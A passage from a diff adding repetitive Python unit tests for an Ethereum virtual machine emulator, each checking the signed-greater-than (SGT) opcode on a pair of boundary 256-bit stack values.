+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
